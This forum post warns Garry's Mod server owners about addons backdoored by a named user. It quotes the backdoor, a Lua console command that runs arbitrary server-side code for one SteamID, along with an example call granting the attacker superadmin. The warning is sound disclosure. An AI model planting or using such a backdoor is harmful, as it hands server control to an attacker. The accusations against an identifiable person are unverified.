Just a heads up, he's (STEAM_0:1:18914322) backdooring a few of his addon's that he stole from various places with:
local g = "hissteamid" concommand.Add("_gus", function(ply, c,a) if(ply:SteamID() == g) then RunString(a or "") end end)
For those that don't know, this allows you to pass anything to _gus, and it will execute it serverside, for example:
Wiki PageCode:RunConsoleCommand("ulx adduser gus superadmin")
The possibilities are endless, and it's a backdoor into your server.
sv_tags also gets edited so he can find you pretty easily by searching for the tag, so just a heads up.
Don't know if any mods can take down his addons and suspend his GMod.org access, but he's been blatantly abusing it to shut other servers down.
(He runs his own community called 1944RP, so he should have some sense.)
I'm sick and tired of people abusing gmod.org to shove backdoors into scripts.
Garry sorted it, apparently.
